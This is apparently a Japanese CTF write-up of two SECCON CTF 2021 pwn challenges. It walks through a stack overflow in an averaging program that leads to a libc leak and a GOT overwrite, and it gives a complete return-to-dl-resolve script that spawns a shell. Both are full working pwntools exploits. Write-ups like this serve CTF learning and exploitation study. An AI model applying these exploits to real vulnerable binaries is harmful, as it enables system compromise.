<SECCON CTF 2021> Writeup
はじめに
12 月 11 日(土)14 : 00 から 24 時間行われていた SECCON CTF 2021 にチーム TSG で参加しました。
僕は Average Calculator を解いて、129 pt だけ入れられました。また、点は入りませんでしたが kasu bof も解いたので、その解答も載せておきます。
Average Calculator (Pwn)
#include <stdio.h> #include <stdlib.h> #include <unistd.h> int main() { long long n, i; long long A[16]; long long sum, average; alarm(60); setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); printf("n: "); if (scanf("%lld", &n)!=1) exit(0); for (i=0; i<n; i++) { printf("A[%lld]: ", i); if (scanf("%lld", &A[i])!=1) exit(0); // prevent integer overflow in summation if (A[i]<-123456789LL || 123456789LL<A[i]) { printf("too large\n"); exit(0); } } sum = 0; for (i=0; i<n; i++) sum += A[i]; average = (sum+n/2)/n; printf("Average = %lld\n", average); }
$ checksec chall [*] '/home/vagrant/SECCON/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x3fd000) RUNPATH: b'.'
n < 17 のチェックがされていませんが、普通に入れても A[17] 以降が入力できません。
$ ./chall n: 20 A[0]: 1 A[1]: 1 (snip . . .) A[14]: 1 A[15]: 1 A[16]: 1 Average = 1
ループ処理の部分がこんな感じ。
0x00000000004012b5 <+319>: add QWORD PTR [rbp-0x8],0x1 0x00000000004012ba <+324>: mov rax,QWORD PTR [rbp-0x20] 0x00000000004012be <+328>: cmp QWORD PTR [rbp-0x8],rax 0x00000000004012c2 <+332>: jl 0x40122a <main+180>
RBP - 0x20、RBP - 0x8 にそれぞれ n、i の値が入っていて、さらにそれぞれ A[16]、A[19] に対応するので、そこに入れる値を調整して、A[17] 以降も弾かれないようにします。
これでリターンアドレスを書き換えられますが、A [ i ] < 0x75bcd15 の制約があるので、配列 A に system( ) や one gadget のアドレスを入力できません。
そこで、scanf()
を呼んで、直接printf()
の GOT アドレスを書き換えます。
solve.py
#!/usr/bin/env python3 from pwn import * bin_file = './chall' context(os = 'linux', arch = 'amd64') HOST = 'average.quals.seccon.jp' PORT = 1234 binf = ELF(bin_file) libc = ELF('./libc.so.6') def send_values(io, n): for i in range(20): io.sendlineafter(':', str(n)) io.sendlineafter(':', '19') io.sendlineafter(':', '20') def attack(io, **kwargs): pop_rdi = 0x4013a3 pop_rsi_r15 = 0x4013a1 addr_ret = 0x4013c4 addr_ll = 0x402008 send_values(io, 25) io.sendlineafter(':', str(pop_rdi)) io.sendlineafter(':', str(binf.got.puts)) io.sendlineafter(':', str(binf.plt.puts)) io.sendlineafter(':', str(binf.sym._start)) io.recvline() leak = unpack(io.recv(6), 'all') libc.address = leak - libc.sym.puts info('libc_base = 0x{:08x}'.format(libc.address)) onegad = [0xdf54c, 0xdf54f, 0xdf552] addr_onegad = libc.address + onegad[1] send_values(io, 29) io.sendlineafter(':', str(pop_rdi)) io.sendlineafter(':', str(addr_ll)) io.sendlineafter(':', str(pop_rsi_r15)) io.sendlineafter(':', str(binf.got.printf)) io.sendlineafter(':', str(0)) io.sendlineafter(':', str(binf.plt.__isoc99_scanf)) io.sendlineafter(':', str(addr_ret)) io.sendlineafter(':', str(binf.plt.printf)) io.recvline() io.sendline(str(addr_onegad)) def main(): io = process(bin_file) #io = remote(HOST, PORT) attack(io) #gdb.attach(io, '') io.interactive() if __name__ == '__main__': main()
kasu bof (Pwn)
// main.c #include <stdio.h> int main(void) { char buf[0x80]; gets(buf); return 0; }
問題文によると、return-to-dl-resolve というテクニックを使うらしいです。ももいろテクノロジー*1、こちらのページ*2、こちらのスライド*3を参考にしました。
答えだけ載せます。
#!/usr/bin/env python3 from pwn import * bin_file = './chall' context(os = 'linux', arch = 'i386') HOST = 'hiyoko.quals.seccon.jp' PORT = 9001 binf = ELF(bin_file) def attack(io, **kwargs): addr_base_stage = binf.bss() + 0x800 addr_rel = addr_base_stage + 0x14 addr_sym = addr_rel + 8 addr_plt = 0x8049030 addr_relplt = 0x80482d8 addr_dynsym = 0x804820c addr_dynstr = 0x804825c rel_offset = addr_rel - addr_relplt align = 0x10 - ((addr_sym-addr_dynsym) % 0x10) addr_sym += align r_info = (((addr_sym - addr_dynsym) // 0x10) << 8) | 7 addr_symstr = addr_sym + 0x10 st_name = addr_symstr - addr_dynstr addr_arg = addr_symstr + 7 base_stage = b'a' * 4 base_stage += p32(addr_plt) base_stage += p32(rel_offset) base_stage += b'a' * 4 base_stage += p32(addr_arg) rel = p32(binf.got.gets) rel += p32(r_info) rel += b'a' * align sym = p32(st_name) sym += p32(0) sym += p32(0) sym += p32(0x12) rop = ROP(binf) rop.gets(addr_base_stage) rop.gets(addr_rel) rop.gets(addr_sym) rop.gets(addr_symstr) rop.gets(addr_arg) rop.raw(rop.ebp) rop.raw(addr_base_stage) rop.raw(rop.leave) exploit = b'a' * 0x88 + rop.chain() io.sendline(exploit) io.sendline(base_stage) io.sendline(rel) io.sendline(sym) io.sendline(b'system\x00') io.sendline(b'/bin/sh\x00') def main(): io = process(bin_file) #io = remote(HOST, PORT) attack(io) #gdb.attach(io, '') io.interactive() if __name__ == '__main__': main()
おわりに
チーム戦の雰囲気を知ることができてよかったです。
あと CTF 可視化エンジンの AMATERAS千がすごかったです(小並)。